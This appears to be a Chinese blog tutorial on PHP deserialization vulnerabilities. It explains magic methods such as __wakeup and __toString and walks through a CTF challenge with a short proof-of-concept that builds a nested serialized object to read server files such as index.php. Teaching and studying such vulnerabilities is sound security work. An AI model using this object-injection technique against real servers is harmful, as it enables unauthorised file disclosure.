PHP中的反序列化漏洞

0x01 什么是序列化?什么是反序列化?

序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。在PHP中序列化和反序列化对应的函数分别为serialize()和unserialize()。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Hello{
public function sayHello(){
echo 'Hello';
}
}
$a=new Hello();
$s=serialize($a);
$a_un=unserialize($s);
echo $s.'<br>';//O:5:"Hello":0:{}
echo $a_un;//Hello Object ()

0x02 那这个序列化跟反序列化到底怎么利用?

首先得科普一下,在php对象当中,有一类方法被称为魔术方法。这类方法以__开头,在操作对象的某些过程中,这些方法会被自动执行。而反序列化漏洞利用思路,便是跟这个魔术方法有关。当对字符串进行unserialize操作时,会自动调用对象中的wakeup方法,这就让我们有了可乘之机。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Hello{
public function sayHello(){
echo 'Hello';
}
public function __wakeup()
{
phpinfo();
}
}
$a=new Hello();
$s=serialize($a);
$a_un=unserialize($s);

我们在之前代码的Hello对象当中添加了一个__wakeup()方法,里面调用了phpinfo()输出服务器中php的相关信息。当我们反序列化$s这个变量时,phpinfo()被执行了。

0x03 可是说了一大堆,__wakeup()又不是你写的,该怎么利用呢?

这个时候我们就要跟踪函数,观察函数当中有没有作为用户可控的部分,进而进行注入。这里就拿我最近做的一个ctf题来举例。
首先,题目的主页是一个留言墙,我们可以随意在上面输入想要的值。
其次,题目给了我部分源码:

1
2
3
4
5
6
7
<?php
lists=[];
class foo{
public function __toString(){
return highlightFile('heiheihei.txt').highlightFile($this->source,true)
}
}

这里不需要去管highlightFile这个函数,我们需要关注的是,这个__toString中的source是我们可以控制的。
这个时候我们打开php手册查找__toString这个方法,发现如果echo某个该对象的实例,则会返回__toString返回的值。

因此,可以精心构造一下序列

1
2
3
4
5
6
7
<?php
$a=new foo();
$a->source='index.php';
$b=new foo();
$b->source=$a;
$c=serialize($b);
echo $c;

为什么要让$b->source=$a呢,因为如果$bsource是一个字符串,那么就不会触发__toString()方法。而当指向$a时,则会试图通__toString()打开source,最后通过这个序列成功读取服务器上的隐藏文件。